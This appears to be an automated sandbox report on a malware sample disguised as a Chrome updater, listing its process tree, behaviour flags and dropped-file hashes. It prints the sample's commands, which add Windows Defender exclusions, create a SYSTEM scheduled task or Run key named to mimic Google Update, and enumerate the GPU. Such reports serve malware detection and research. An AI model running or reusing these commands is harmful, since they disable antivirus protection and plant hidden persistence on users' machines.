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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4936
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1228
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:5036
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3244
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2996
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1436
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2084
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
677KB
MD54b7db513284d1026a70c7582a20e903a
SHA120a041f4fa56ceacd99b9c1231741d9852f934a2
SHA25655bdea1df12a9d663e1edd10abc2bab4e131e0a66d0310c2d8c5ded78ec38b67
SHA512c06d456e6c3e052d7bcff1c2b6f960088a65e2d9f60af86ae3ed4c3646be5771fbe92463abdeaecc68a86b8faf309e35f356b0b1393b73ccee1882d042c4c3ab
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Filesize
371KB
MD5480664cb25dc5d3afef1a04ee6ef8513
SHA155cb778bcdd21cd16aedb012388c74f1fb182e1e
SHA256a4343df034ed799a2187e42f462b75b7ecbccddd413321b8dfef3560033307b0
SHA5127975e9b4e91c7bd94e922d97cbada50f09216953c66bfd422deda1a4583f7b8d7f284120ec6fe81e507e1d2965b836ecdfc41e0762b92ed765b1f9919c73e895
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
1KB
MD57888d512a027fd6fe981671037531ea0
SHA1f9a0bd55f73835cb3f753fa0c04e0897ad111e6d
SHA25645af4e639b95cc4c290129f49fc14ae02507a6976c33125f4e9a851d0240b1de
SHA512c84c137dc3ac61e91e3c90685b5f84c71622a3895c73c2ec29acafdcc895610c4bc17e60ff41bc594c8f01b2e40932120a95203b827336d22354f2ef00499927
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5